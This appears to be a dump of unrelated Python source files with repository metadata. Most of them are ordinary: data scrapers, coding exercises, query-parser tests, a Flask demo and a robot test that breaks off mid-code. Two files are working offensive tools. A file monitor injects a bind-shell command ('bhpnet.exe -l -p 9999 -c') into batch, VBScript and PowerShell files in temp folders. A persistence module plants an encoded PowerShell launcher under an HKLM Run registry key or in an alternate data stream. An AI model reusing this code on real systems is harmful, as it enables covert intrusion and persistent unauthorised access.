2017-11-29T09:54:03
2017-11-29T09:54:03
115,918,597
0
0
null
2018-04-23T19:45:32
2018-01-01T12:43:43
CSS
UTF-8
Python
false
false
1,906
py
from tabulator import Stream import os, requests, logging, re, json def get_speech_part_body(speech_part): return speech_part["body"].replace("\n", "<br/>") def get_speech_parts_stream(**kwargs): stream = Stream(**kwargs) stream.open() if stream.headers == ['header', 'body']: return stream else: return None def get_speech_parts_source(meeting, parts_url): if os.environ.get("ENABLE_LOCAL_CACHING") == "1": parts_file = "data/minio-cache/committees/{}".format(meeting["parts_object_name"]) if not os.path.exists(parts_file): os.makedirs(os.path.dirname(parts_file), exist_ok=True) with open(parts_file, "wb") as f: f.write(requests.get(parts_url).content) return "file", parts_file else: return "url", parts_url def get_speech_part_contexts(stream): for order, row in enumerate(stream): if not row: header, body = "", "" elif len(row) == 2: header, body = row else: header, body = "", str(row) yield {"order": order, "header": header, "body": body} def get_speech_parts(meeting): source_type, source = None, None if meeting["parts_object_name"]: parts_url = "https://minio.oknesset.org/committees/{}".format(meeting["parts_object_name"]) try: source_type, source = get_speech_parts_source(meeting, parts_url) stream = get_speech_parts_stream(source=source, headers=1) if stream: yield from get_speech_part_contexts(stream) stream.close() except Exception: logging.exception("Failed to get speech parts for {}".format(meeting["parts_object_name"])) if source_type == "file" and os.path.exists(source): os.unlink(source) raise
0f2b5f1b67de643723f3d4cb34ec4d21663d34ba
3775102a3f59bc8aac9b8121ba2aef87409724ee
/Easy/slang_flavor.py
33034c354656685515600b8a5be64b39de275dec
[]
no_license
csikosdiana/CodeEval
a446ec6673e9f97439662bfccbd7454e5740d509
15cdd9ca454939e93c77d5ed5076595ecc7e4301
refs/heads/master
2016-08-11T14:49:27.565799
2016-03-22T17:48:20
2016-03-22T17:48:20
46,176,059
0
0
null
null
null
null
UTF-8
Python
false
false
852
py
data = ["Lorem ipsum dolor sit amet. Mea et habeo doming praesent. Te inani utroque recteque has, sea ne fugit verterem!", "Usu ei scripta phaedrum, an sed salutatus definiebas? Qui ut recteque gloriatur reformidans. Qui solum aeque sapientem cu.", "Eu nam nusquam quaestio principes."] slang = [", yeah!", ", this is crazy, I tell ya.", ", can U believe this?", ", eh?", ", aw yea.", ", yo.", "? No way!", ". Awesome!"] #import sys #test_cases = open(sys.argv[1], 'r') #data = test_cases.readlines() position = 0 s = 0 for test in data: test = test.rstrip() text = "" for i in test: if s == len(slang): s = 0 if ((i == ".") or (i == "!") or (i == "?")): position += 1 if position % 2 == 0: t = slang[s] s += 1 text = text + t else: text = text + i else: text = text + i print text #test_cases.close()
ad08d79a59217376793b242425ff4ae931d9aa17
e61c78de98845f2d721d1e21f987f9939c53974a
/abode/lib/tests/test_query.py
83c032b953784c4196a53e94b2792e09a0487220
[]
no_license
b1naryth1ef/abode
aab4d720bb35adab08a3c3418730bd15c511f596
967d92a0c9fb5075aa14cfda63646fb11dc252dc
refs/heads/master
2020-12-22T18:53:55.931617
2020-02-02T06:13:13
2020-02-02T06:13:13
236,897,406
25
0
null
null
null
null
UTF-8
Python
false
false
8,871
py
from abode.lib.query import QueryParser, compile_query, _compile_selector from abode.db.guilds import Guild from abode.db.messages import Message from abode.db.users import User from abode.db.channels import Channel def test_parse_basic_queries(): assert QueryParser.parsed("hello world") == [ {"type": "symbol", "value": "hello"}, {"type": "symbol", "value": "AND"}, {"type": "symbol", "value": "world"}, ] assert QueryParser.parsed('"Hello \\" World"') == [ {"type": "string", "value": 'Hello " World'} ] assert QueryParser.parsed("(group me daddy)") == [ { "type": "group", "value": [ {"type": "symbol", "value": "group"}, {"type": "symbol", "value": "AND"}, {"type": "symbol", "value": "me"}, {"type": "symbol", "value": "AND"}, {"type": "symbol", "value": "daddy"}, ], } ] assert QueryParser.parsed("x:y") == [ { "type": "label", "name": "x", "value": {"type": "symbol", "value": "y"}, "exact": False, } ] assert QueryParser.parsed("x=y") == [ { "type": "label", "name": "x", "value": {"type": "symbol", "value": "y"}, "exact": True, } ] assert QueryParser.parsed("x:(y z)") == [ { "type": "label", "name": "x", "value": { "type": "group", "value": [ {"type": "symbol", "value": "y"}, {"type": "symbol", "value": "AND"}, {"type": "symbol", "value": "z"}, ], }, "exact": False, } ] assert QueryParser.parsed("x:/.* lol \\d me daddy/") == [ { "type": "label", "name": "x", "value": {"type": "regex", "value": ".* lol \\d me daddy", "flags": []}, "exact": False, } ] assert QueryParser.parsed("x:/.* lol \\d me daddy/i") == [ { "type": "label", "name": "x", "value": {"type": "regex", "value": ".* lol \\d me daddy", "flags": ["i"]}, "exact": False, } ] assert QueryParser.parsed("-> a b c") == [ { "type": "return", "value": [ {"type": "symbol", "value": "a"}, {"type": "symbol", "value": "b"}, {"type": "symbol", "value": "c"}, ], } ] assert QueryParser.parsed("x:y -> a b c") == [ { "type": "label", "name": "x", "value": {"type": "symbol", "value": "y"}, "exact": False, }, { "type": "return", "value": [ {"type": "symbol", "value": "a"}, {"type": "symbol", "value": "b"}, {"type": "symbol", "value": "c"}, ], }, ] def test_parse_complex_queries(): assert QueryParser.parsed( 'type:attachment guild:"discord api" (from:Jake#0001 OR from=danny#0007)' ) == [ { "type": "label", "name": "type", "value": {"type": "symbol", "value": "attachment"}, "exact": False, }, {"type": "symbol", "value": "AND"}, { "type": "label", "name": "guild", "value": {"type": "string", "value": "discord api"}, "exact": False, }, {"type": "symbol", "value": "AND"}, { "type": "group", "value": [ { "type": "label", "name": "from", "value": {"type": "symbol", "value": "Jake#0001"}, "exact": False, }, {"type": "symbol", "value": "OR"}, { "type": "label", "name": "from", "value": {"type": "symbol", "value": "danny#0007"}, "exact": True, }, ], }, ] def test_compile_basic_queries(): assert compile_query("name:blob", Guild) == ( "SELECT guilds.* FROM guilds WHERE guilds.name ILIKE $1", ("%blob%",), (Guild,), ) assert compile_query('name:"blob"', Guild) == ( "SELECT guilds.* FROM guilds WHERE guilds.name ILIKE $1", ("blob",), (Guild,), ) assert compile_query("name:(blob emoji)", Guild) == ( "SELECT guilds.* FROM guilds WHERE (guilds.name ILIKE $1 AND guilds.name ILIKE $2)", ("%blob%", "%emoji%",), (Guild,), ) assert compile_query("name:(blob AND emoji)", Guild) == ( "SELECT guilds.* FROM guilds WHERE (guilds.name ILIKE $1 AND guilds.name ILIKE $2)", ("%blob%", "%emoji%",), (Guild,), ) assert compile_query("name:(discord AND NOT api)", Guild) == ( "SELECT guilds.* FROM guilds WHERE (guilds.name ILIKE $1 AND NOT guilds.name ILIKE $2)", ("%discord%", "%api%",), (Guild,), ) assert compile_query("id:1", Guild) == ( "SELECT guilds.* FROM guilds WHERE guilds.id = $1", (1,), (Guild,), ) assert compile_query("", Guild, limit=100, offset=150, order_by="id") == ( "SELECT guilds.* FROM guilds ORDER BY guilds.id ASC LIMIT 100 OFFSET 150", (), (Guild,), ) assert compile_query("", Guild, order_by="id", order_dir="DESC") == ( "SELECT guilds.* FROM guilds ORDER BY guilds.id DESC", (), (Guild,), ) assert compile_query("id=1", Guild) == ( "SELECT guilds.* FROM guilds WHERE guilds.id = $1", (1,), (Guild,), ) def test_compile_complex_queries(): assert compile_query("name:blob OR name:api", Guild) == ( "SELECT guilds.* FROM guilds WHERE guilds.name ILIKE $1 OR guilds.name ILIKE $2", ("%blob%", "%api%"), (Guild,), ) assert compile_query("guild.name:blob", Message) == ( "SELECT messages.* FROM messages JOIN guilds ON messages.guild_id = guilds.id WHERE guilds.name ILIKE $1", ("%blob%",), (Message,), ) assert compile_query("content:yeet", Message) == ( "SELECT messages.* FROM messages WHERE to_tsvector('english', messages.content) @@ phraseto_tsquery($1)", ("yeet",), (Message,), ) assert compile_query('guild.name:(a "b")', Message) == ( "SELECT messages.* FROM messages JOIN guilds ON messages.guild_id = guilds.id WHERE (guilds.name ILIKE $1 AND " "guilds.name ILIKE $2)", ("%a%", "b"), (Message,), ) assert compile_query("guild.owner.name:Danny", Message) == ( "SELECT messages.* FROM messages JOIN guilds ON messages.guild_id = guilds.id JOIN users ON " "guilds.owner_id = users.id WHERE users.name ILIKE $1", ("%Danny%",), (Message,), ) message_selector = _compile_selector(Message) guild_selector = _compile_selector(Guild) author_selector = _compile_selector(User) channel_selector = _compile_selector(Channel) assert compile_query("", Message, include_foreign_data=True) == ( f"SELECT {message_selector}, {author_selector}, {channel_selector} FROM messages " "JOIN users ON messages.author_id = users.id JOIN channels ON " "messages.channel_id = channels.id", (), (Message, User, Channel), ) assert compile_query("guild.id:1", Message, include_foreign_data=True) == ( f"SELECT {message_selector}, {guild_selector}, {author_selector}, {channel_selector} FROM messages JOIN guilds" " ON messages.guild_id = guilds.id JOIN users ON messages.author_id = users.id JOIN channels ON " "messages.channel_id = channels.id WHERE guilds.id = $1", (1,), (Message, Guild, User, Channel), ) assert compile_query("name: /xxx.*xxx/i", Guild) == ( f"SELECT guilds.* FROM guilds WHERE guilds.name ~* $1", ("xxx.*xxx",), (Guild,), ) guild_selector = _compile_selector(Guild) user_selector = _compile_selector(User) assert compile_query( "name: /xxx.*xxx/i -> name owner.name", Guild, returns=True ) == ( f"SELECT {guild_selector}, {user_selector} FROM guilds JOIN users ON guilds.owner_id = users.id WHERE guilds.name ~* $1", ("xxx.*xxx",), (Guild, User), ("name", "owner.name"), ) assert compile_query("name: /xxx.*xxx/i ->", Guild, returns=True) == ( f"SELECT guilds.* FROM guilds WHERE guilds.name ~* $1", ("xxx.*xxx",), (Guild,), (), )
7f6bcb9e8da7fe2b36ab5738310c1dc96aa599b5
5774101105b47d78adb7a57eefdfa21502bbd70c
/python框架/flask/Flask-RESTful/s3_error404定制.py
73259f73985c047a86f46f7e8b642e2a561425ae
[]
no_license
zhlthunder/python-study
34d928f0ebbdcd5543ae0f41baaea955c92f5c56
0f25dd5105ba46791842d66babbe4c3a64819ee5
refs/heads/master
2023-01-12T18:39:47.184978
2018-10-07T23:48:04
2018-10-07T23:48:04
90,516,611
0
1
null
2022-12-26T19:46:22
2017-05-07T07:39:48
HTML
UTF-8
Python
false
false
1,234
py
#!/usr/bin/env python # -*- coding: utf-8 -*- #author:zhl #refer:https://blog.csdn.net/dream_flying_bj/article/details/61198475 #安装pip3 install flask-restful ##使用参考: pip3 install flask-restful from flask import Flask, jsonify from flask import abort from flask import make_response app = Flask(__name__) tasks = [ { 'id': 1, 'title': u'Buy groceries', 'description': u'Milk, Cheese, Pizza, Fruit, Tylenol', 'done': False }, { 'id': 2, 'title': u'Learn Python', 'description': u'Need to find a good Python tutorial on the web', 'done': False } ] @app.errorhandler(404) ##别的不存在的url都可以成功跳转到这里,唯一的问题就是if not len(list(task)) 如果跳转,方法待确认 def not_found(error): return make_response(jsonify({'error': 'Not found'}), 404) @app.route('/todo/api/v1.0/tasks/<int:task_id>', methods=['GET']) def get_task(task_id): task = filter(lambda t: t['id'] == task_id, tasks) if not len(list(task)): return "404" task = filter(lambda t: t['id'] == task_id, tasks) return jsonify({'task': task.__next__()}) if __name__ == '__main__': app.run(debug=True)
34ae6b4403ac4a915276300f832032a92bc1afc5
39978dba83181975b29b884d1e9cc22ed32bb097
/prepare_data.py
f7b2f6f0058a5a59c0c89ca56f3718faa720435d
[ "MIT" ]
permissive
Blarc/lol-dodge-predictor
c3e5050c577eb003d960941f8f601545de8a6abd
01ac9ce1f117dba7f2375958f96fd1336cc0049d
refs/heads/main
2023-02-08T11:01:01.435267
2021-01-04T14:21:38
2021-01-04T14:21:38
311,631,559
0
0
null
null
null
null
UTF-8
Python
false
false
6,158
py
import copy import json import cassiopeia as cass import pandas as pd from IPython.display import clear_output from roleidentification import get_roles, pull_data NUMBER_OF_LINES = 108941 champion_roles = pull_data() champions_mapper = {champion.id: champion.name for champion in cass.get_champions("EUW")} summoners = {} matches = {} summoners_columns_mapper = { 'total_games': 0, 'wins': 1 } role_index_mapper = { 'TOP': 0, 'JUNGLE': 1, 'MIDDLE': 2, 'BOTTOM': 3, 'UTILITY': 4 } columns_by_role = ['kills', 'deaths', 'assists', 'gold_earned', 'total_damage_dealt_to_champions', 'total_minions_killed', 'vision_score', 'vision_wards_bought', 'total_games', 'wins'] index = len(summoners_columns_mapper) for role_name in role_index_mapper.keys(): for column in columns_by_role: column_key = role_name + '_' + column summoners_columns_mapper[column_key] = index index += 1 columns_mapper = {} index = 0 matches_index = 0 with open('data/raw_data/match_all_merged_sorted.csv', encoding='utf8') as infile: for line in infile: split = line.rstrip('\n').split(';') if index == 0: columns_mapper = {key: value for value, key in enumerate(split)} index += 1 continue queue_id = float(split[columns_mapper['queueId']]) if queue_id != 420: index += 1 continue game_duration = float(split[columns_mapper['gameDuration']]) participant_identities = json.loads(split[columns_mapper['participantIdentities']] \ .replace('\'', '\"')) participants = json.loads(split[columns_mapper['participants']] \ .replace('\'', '\"') \ .replace('False', '0') \ .replace('True', '1')) champions = [] for participant in participants: champions.append(participant['championId']) roles = list(get_roles(champion_roles, champions[0:5]).items()) roles += list(get_roles(champion_roles, champions[5:10]).items()) teams = { 100: [None] * 5, 200: [None] * 5 } win_dict = {} for participantIdentity, participant, role in zip(participant_identities, participants, roles): summoner_id = participantIdentity['player']['summonerId'] team_id = participant['teamId'] role_name = role[0] role_index = role_index_mapper[role[0]] participant_stats = participant['stats'] win = participant_stats['win'] kills = participant_stats['kills'] deaths = participant_stats['deaths'] assists = participant_stats['assists'] gold_earned = participant_stats['goldEarned'] total_damage_dealt_to_champions = participant_stats['totalDamageDealtToChampions'] total_minions_killed = participant_stats['totalMinionsKilled'] vision_score = participant_stats['visionScore'] vision_wards_bought = participant_stats['visionWardsBoughtInGame'] if summoner_id not in summoners: summoners[summoner_id] = {key: 0 for key in summoners_columns_mapper} summoners[summoner_id]['wins'] += win summoners[summoner_id]['total_games'] += 1 summoners[summoner_id][role_name + '_wins'] += win summoners[summoner_id][role_name + '_total_games'] += 1 summoners[summoner_id][role_name + '_kills'] += kills / game_duration * 60 summoners[summoner_id][role_name + '_deaths'] += deaths / game_duration * 60 summoners[summoner_id][role_name + '_assists'] += assists / game_duration * 60 summoners[summoner_id][role_name + '_gold_earned'] += gold_earned / game_duration * 60 summoners[summoner_id][ role_name + '_total_damage_dealt_to_champions'] += total_damage_dealt_to_champions / game_duration * 60 summoners[summoner_id][role_name + '_total_minions_killed'] += total_minions_killed / game_duration * 60 summoners[summoner_id][role_name + '_vision_score'] += vision_score / game_duration * 60 summoners[summoner_id][role_name + '_vision_wards_bought'] += vision_wards_bought / game_duration * 60 summoner = copy.deepcopy(summoners[summoner_id]) for role_label in role_index_mapper.keys(): total_games = summoner[role_label + '_total_games'] if total_games == 0: total_games += 1 summoner[role_label + '_wins'] /= total_games summoner[role_label + '_kills'] /= total_games summoner[role_label + '_deaths'] /= total_games summoner[role_label + '_assists'] /= total_games summoner[role_label + '_gold_earned'] /= total_games summoner[role_label + '_total_damage_dealt_to_champions'] /= total_games summoner[role_label + '_total_minions_killed'] /= total_games summoner[role_label + '_vision_score'] /= total_games summoner[role_label + '_vision_wards_bought'] /= total_games teams[team_id][role_index] = summoner win_dict[team_id] = participant['stats']['win'] for team, win in zip(teams.values(), win_dict.values()): match = {} for role, player in zip(role_index_mapper.keys(), team): for key, value in player.items(): match[role + '_' + key] = value match['win'] = win matches[matches_index] = match matches_index += 1 clear_output(wait=True) print(f'{index} / {NUMBER_OF_LINES}') index += 1 # 156344 print(f'Number of matches: {len(matches)}') print('Saving to csv...') pd.DataFrame.from_dict(data=matches, orient='index').to_csv('data/processed_data/matches_sorted.csv', header=True) print('Saved to \'data/processed_data/matches_sorted.csv\'')
5eaa86000cf6a4bf50b9794b70c14cebc088bf10
77311ad9622a7d8b88707d7cee3f44de7c8860cb
/res/scripts/client/gui/scaleform/daapi/view/meta/channelwindowmeta.py
e1885ab5d56862c3eeb542f57abc2cdbefe16faf
[]
no_license
webiumsk/WOT-0.9.14-CT
9b193191505a4560df4e872e022eebf59308057e
cfe0b03e511d02c36ce185f308eb48f13ecc05ca
refs/heads/master
2021-01-10T02:14:10.830715
2016-02-14T11:59:59
2016-02-14T11:59:59
51,606,676
0
0
null
null
null
null
WINDOWS-1250
Python
false
false
531
py
# 2016.02.14 12:40:13 Střední Evropa (běžný čas) # Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/ChannelWindowMeta.py from gui.Scaleform.framework.entities.abstract.AbstractWindowView import AbstractWindowView class ChannelWindowMeta(AbstractWindowView): pass # okay decompyling c:\Users\PC\wotsources\files\originals\res\scripts\client\gui\scaleform\daapi\view\meta\channelwindowmeta.pyc # decompiled 1 files: 1 okay, 0 failed, 0 verify failed # 2016.02.14 12:40:13 Střední Evropa (běžný čas)
e43c2f5632fe67304382d4e6a716df7a051baa2b
8fd2e5d53d7a91d35288ccefdb0c7ef00d927a0a
/book_06_Python黑帽子/Chapter10/my_file_monitor.py
82f21f92c9aff7909f4483eadae1363b1c57daa3
[]
no_license
atlasmao/Python-book-code
03501f9ca2e81bc1f47464b3227c7f9cda0d387c
03b6848a15a7e4c2ffebdc3528c24a8b101d9f41
refs/heads/master
2022-01-06T23:45:21.951307
2019-07-11T10:32:22
2019-07-11T10:32:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,780
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # 监控临时文件的创建, 读写, 删除 import tempfile import threading import win32file import win32con import os # 这些是典型的临时文件所在的路径 dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] # 文件修改行文对应的常量 FILE_CREATED = 1 FILE_DELETED = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 file_types = {} command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c" file_types['.vbs'] = ["\r\n'bhpmarker\r\n", "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command] file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command] file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command] # 用于执行代码插入的数据 def inject_code(full_filename, extension, contents): # 判断文件是否存在标记 if file_types[extension][0] in contents: return # 如果没有标记的话, 那么插入代码并标记 full_contents = file_types[extension][0] full_contents += file_types[extension][1] full_contents += contents fd = open(full_filename, 'wb') fd.write(full_contents) fd.close() print "[\o/] Injected code." return def start_monitor(path_to_watch): # 为每个监控器起一个线程 FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None ) while 1: try: results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action, file_name in results: full_filename = os.path.join(path_to_watch, file_name) if action == FILE_CREATED: print "[ + ] Created %s" % full_filename elif action == FILE_DELETED: print "[ - ] Deleted %s" % full_filename elif action == FILE_MODIFIED: print "[ * ] Modified %s" % full_filename # 输出文件内容 print "[vvv] Dumping contents..." try: fd = open(full_filename, "rb") contents = fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed." file_name, extension = os.path.splitext(full_filename) if extension in file_types: inject_code(full_filename, extension, contents) elif action == FILE_RENAMED_FROM: print "[ > ] Renamed from: %s" % full_filename elif action == FILE_RENAMED_TO: print "[ < ] Renamed to: %s" % full_filename else: print "[???] Unknown: %s" % full_filename except: pass for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor, args=(path,)) print "Spawning monitoring thread for path: %s" % path monitor_thread.start()
f7b92346ce9990a3f5fe6e158b436fee76ccfebd
d489eb7998aa09e17ce8d8aef085a65f799e6a02
/lib/modules/powershell/persistence/elevated/registry.py
2fcac2eeb448345515e6450a9c53c8fa8c6237d5
[ "MIT" ]
permissive
fengjixuchui/invader
d36078bbef3d740f95930d9896b2d7dd7227474c
68153dafbe25e7bb821c8545952d0cc15ae35a3e
refs/heads/master
2020-07-21T19:45:10.479388
2019-09-26T11:32:38
2019-09-26T11:32:38
206,958,809
2
1
MIT
2019-09-26T11:32:39
2019-09-07T11:32:17
PowerShell
UTF-8
Python
false
false
8,658
py
import os from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Registry', 'Author': ['@mattifestation', '@harmj0y'], 'Description': ('Persist a payload (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run ' 'registry key. This has an easy detection/removal rating.'), 'Background' : False, 'OutputExtension' : None, 'NeedsAdmin' : True, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : False, 'Value' : '' }, 'KeyName' : { 'Description' : 'Key name for the run trigger.', 'Required' : True, 'Value' : 'Updater' }, 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, 'Value' : 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug' }, 'ADSPath' : { 'Description' : 'Alternate-data-stream location to store the script code.', 'Required' : False, 'Value' : '' }, 'ExtFile' : { 'Description' : 'Use an external file for the payload instead of a payload.', 'Required' : False, 'Value' : '' }, 'Cleanup' : { 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', 'Required' : False, 'Value' : '' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'Proxy' : { 'Description' : 'Proxy to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'ProxyCreds' : { 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";" script += "'Registry persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.payloads.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};" locationString = "$(cmd /c \''more < "+adsPath+"\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
ebb06a5651bd34026c2aa14de6ced229aec8694b
a50600c92f9199c7cfffc70f8e41eca23c1f3000
/manage.py
b41575b8397ea14e84c75ff0cdba7c06769eb46e
[]
no_license
shubham1507/testView
759c0e086b80b53266e9ba912f0c9526cfa93034
243d33932d348a5e0cecfaaaa4732694fb584616
refs/heads/master
2022-04-29T09:36:07.886105
2019-10-05T06:57:06
2019-10-05T06:57:06
212,959,737
0
0
null
2022-04-22T22:29:24
2019-10-05T07:16:20
Python
UTF-8
Python
false
false
628
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'testView.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()
9507e5df03c571625db06330a495aa6e7a1e0ef0
0062ceae0071aaa3e4e8ecd9025e8cc9443bcb3b
/solved/6763.py
fb5b2473763dfa94d66d8421c73bf7091835c434
[]
no_license
developyoun/AlgorithmSolve
8c7479082528f67be9de33f0a337ac6cc3bfc093
5926924c7c44ffab2eb8fd43290dc6aa029f818d
refs/heads/master
2023-03-28T12:02:37.260233
2021-03-24T05:05:48
2021-03-24T05:05:48
323,359,039
0
0
null
null
null
null
UTF-8
Python
false
false
282
py
a = int(input()) b = int(input()) c = b - a text = 'You are speeding and your fine is $' if c <= 0: print('Congratulations, you are within the speed limit!') elif 1 <= c <= 20: print(text + '100.') elif 21 <= c <= 30: print(text + '270.') else: print(text + '500.')
11d66cb0430d57028e89ba4c6f0b967779bcff38
def64299eb506d5d573ec2f21ad52f7f849f3538
/venv/Scripts/pip3-script.py
6875b5f4a44f71c387bef75519801f127f6f7da5
[]
no_license
zoulida/dockerOne
51a64269191a341a6da0a4cdf2c1d7419e4f8204
d2d588420c51aa9325245480505b3017c2715105
refs/heads/master
2020-04-20T04:25:53.485530
2019-02-09T02:45:11
2019-02-09T02:45:11
168,627,083
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
#!D:\pythonworkspace\dockerOne\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3' __requires__ = 'pip==10.0.1' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('pip==10.0.1', 'console_scripts', 'pip3')() )
e67247615c0c14d544e7c8db298cd60b3f91b096
0258d1982f3551ebebcd1e657d4ab1b487f61df9
/src/m0.py
6928a42a0981785bf342e398d16e9ae37b1abf5a
[]
no_license
royjm21/rosebotics2
0f5ffe379a2122c880b1701d3a05e08a037ce8ae
382fedc8bc2475bc928e453483e322e101399122
refs/heads/master
2020-04-02T14:09:12.657825
2018-11-17T03:27:16
2018-11-17T03:27:16
154,512,503
0
0
null
2018-10-24T14:10:02
2018-10-24T14:10:02
null
UTF-8
Python
false
false
3,132
py
""" Capstone Project. Code for testing basics. Author: David Mutchler, based on work by Dave Fisher and others. READ and RUN this module but ** DO NOT MODIFY IT. ** Fall term, 2018-2019. """ import rosebotics as rb import time def main(): """ Runs tests. """ run_tests() def run_tests(): """ Runs various tests. """ run_test_drive_system() # run_test_touch_sensor() # run_test_color_sensor() def run_test_drive_system(): """ Tests the drive_system of the Snatch3rRobot. """ robot = rb.Snatch3rRobot() print() print("Testing the drive_system of the robot.") print("Move at (20, 50) - that is, veer left slowly") robot.drive_system.start_moving(20, 50) time.sleep(2) robot.drive_system.stop_moving() print("Left/right wheel positions:", robot.drive_system.left_wheel.get_degrees_spun(), robot.drive_system.right_wheel.get_degrees_spun()) time.sleep(1) print() print("Spin clockwise at half speed for 2.5 seconds") robot.drive_system.move_for_seconds(2.5, 50, -50) print("Left/right wheel positions:", robot.drive_system.left_wheel.get_degrees_spun(), robot.drive_system.right_wheel.get_degrees_spun()) robot.drive_system.left_wheel.reset_degrees_spun() robot.drive_system.right_wheel.reset_degrees_spun(2000) 